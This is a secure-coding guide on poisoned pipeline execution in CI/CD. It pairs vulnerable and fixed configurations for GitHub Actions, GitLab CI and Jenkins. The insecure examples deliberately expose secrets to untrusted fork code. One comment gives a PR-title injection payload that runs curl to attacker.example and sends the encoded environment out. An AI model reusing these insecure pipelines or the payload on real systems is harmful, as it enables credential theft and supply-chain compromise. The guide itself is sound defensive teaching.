Back

CICD-SEC-4: Poisoned Pipeline Execution - Code Examples

Each pair below shows a vulnerable pipeline and the secure version in the same system. The examples focus on the patterns that dominate real PPE findings: privileged fork triggers, untrusted checkout, unpinned actions, expression injection, and executing repo-controlled scripts with secrets in scope.

GitHub Actions

1. Fork PR Build — pull_request_target vs pull_request (3PE)

Insecure

on:
  pull_request_target:              # runs in base context: secrets + write token
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}   # untrusted fork code
      - run: npm ci                 # attacker's lifecycle hooks run WITH secrets
      - run: npm test
        env:
          NPM_TOKEN: ${{ secrets.NPM_TOKEN }}   # readable by attacker code

Secure

on:
  pull_request:                     # fork code runs with NO secrets, read-only token
jobs:
  test:
    runs-on: ubuntu-latest
    permissions:
      contents: read
    steps:
      - uses: actions/checkout@v4   # PR head, but nothing sensitive is present
      - run: npm ci
      - run: npm test               # no secrets in scope; a hook gains nothing

If fork PRs genuinely need a secret (rare), run untrusted code in a no-secret pull_request job and do the privileged step in a separate, trusted workflow that never checks out PR code.

2. Script Injection via Untrusted Event Data

Insecure

- name: comment
  run: |
    echo "New PR: ${{ github.event.pull_request.title }}"
    ./notify.sh "${{ github.event.pull_request.title }}"
  # PR title = '"; curl attacker.example -d "$(env|base64)"; echo "'  -> injection

Secure

- name: comment
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}   # arrives as data
  run: |
    echo "New PR: $PR_TITLE"
    ./notify.sh "$PR_TITLE"                            # quoted, not interpolated

3. Unpinned Third-Party Action

Insecure

steps:
  - uses: some-org/setup-tool@main    # branch: repointable to malicious code
  - uses: some-org/deploy@v2          # tag: can be moved silently

Secure

steps:
  - uses: some-org/setup-tool@3a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b   # v1.4.2 (SHA-pinned)
  - uses: some-org/deploy@9f8e7d6c5b4a39281706f5e4d3c2b1a09f8e7d6c        # v2.0.1 (SHA-pinned)

4. Over-Privileged Token vs Least Privilege

Insecure

# No permissions block -> token may default to read/write on contents & packages.
on: [push]
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: make build            # if poisoned, token can push code / publish

Secure

on: [push]
permissions:
  contents: read                   # repo-wide default: read-only
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: make build            # poisoned code has no write scope to abuse

GitLab CI

5. Fork MR Pipeline — Exposing Protected Variables (D-PPE / 3PE)

Insecure

# .gitlab-ci.yml — deploy job runs on any branch/MR, reading a protected token
deploy:
  script:
    - ./deploy.sh
  variables:
    DEPLOY_TOKEN: $PROD_DEPLOY_TOKEN     # available to fork-MR pipelines too
  rules:
    - if: '$CI_PIPELINE_SOURCE == "merge_request_event"'   # includes fork MRs

Secure

# Untrusted MR pipelines run tests only, with NO protected variables.
test:
  script:
    - npm ci && npm test
  rules:
    - if: '$CI_PIPELINE_SOURCE == "merge_request_event"'

# Deploy runs only on the protected default branch, where PROD_DEPLOY_TOKEN
# is a *protected* + *masked* CI/CD variable, unavailable to fork pipelines.
deploy:
  script:
    - ./deploy.sh
  environment: production
  rules:
    - if: '$CI_COMMIT_BRANCH == "main" && $CI_PIPELINE_SOURCE == "push"'

Mark deploy credentials as protected and masked variables, and require that fork-MR pipelines be run manually by a project member.

6. Indirect PPE via an Included Script (GitLab)

Insecure

build:
  script:
    - make build        # Makefile is repo-controlled; an MR can rewrite it
  variables:
    REGISTRY_TOKEN: $REGISTRY_TOKEN    # readable by whatever make runs

Secure

# 1) Untrusted MR builds carry no registry token:
build:
  script:
    - make build
  rules:
    - if: '$CI_PIPELINE_SOURCE == "merge_request_event"'
  # no REGISTRY_TOKEN here

# 2) Publishing (which needs the token) runs only from protected main,
#    after review, so a poisoned Makefile in an MR never sees the secret.
publish:
  script:
    - make publish
  variables:
    REGISTRY_TOKEN: $REGISTRY_TOKEN
  rules:
    - if: '$CI_COMMIT_BRANCH == "main" && $CI_PIPELINE_SOURCE == "push"'

Jenkins

7. Multibranch Pipeline Building Untrusted Branches (D-PPE)

Insecure

// Jenkinsfile executed from every branch, binding a deploy credential globally
pipeline {
  agent any
  environment {
    DEPLOY_KEY = credentials('prod-deploy-key')   // bound for the whole run
  }
  stages {
    stage('build') { steps { sh 'make build' } }  // branch controls Makefile + Jenkinsfile
  }
}

Secure

pipeline {
  agent { label 'ephemeral' }        // disposable agent, destroyed after the run
  stages {
    stage('build') {
      steps { sh 'make build' }        // no credentials bound during build
    }
    stage('deploy') {
      when { branch 'main' }           // only the trusted, merged branch deploys
      steps {
        // credential scoped to just this block, only on main
        withCredentials([string(credentialsId: 'prod-deploy-key', variable: 'DEPLOY_KEY')]) {
          sh './deploy.sh'
        }
      }
    }
  }
}

Also configure the GitHub/Git branch source so that branches and PRs from non-trusted authors do not build automatically (or require approval), and never grant PR builds access to deploy credentials.

8. Untrusted Event Data in a Jenkins Shell Step

Insecure

// CHANGE_TITLE comes from the PR; inlined into the shell via Groovy interpolation
sh "echo Building PR: ${env.CHANGE_TITLE}"    // title with $(...) / ; runs commands

Secure

// Pass through the environment and single-quote in the shell so it stays data
withEnv(["PR_TITLE=${env.CHANGE_TITLE}"]) {
  sh 'echo "Building PR: $PR_TITLE"'
}

What Changed, and Why

PatternVulnerableSecure
Fork triggerpull_request_target + checkout of PR headpull_request (no secrets) / split trusted job
Event dataInlined ${{ github.event.* }} / ${env.CHANGE_*} in shellPassed via env var and quoted
Action / dependency pinsMutable @main / @vN / moving tagsFull commit SHA / digest
Token & variablesDefault write token; unscoped CI/CD variablesExplicit least-privilege; protected + masked, branch-scoped
Build vs deploy credsSame credential bound for the whole runBuild has none; deploy creds only on trusted branch, scoped
RunnersPersistent / self-hosted on fork PRsEphemeral; forks never touch privileged runners

Next Steps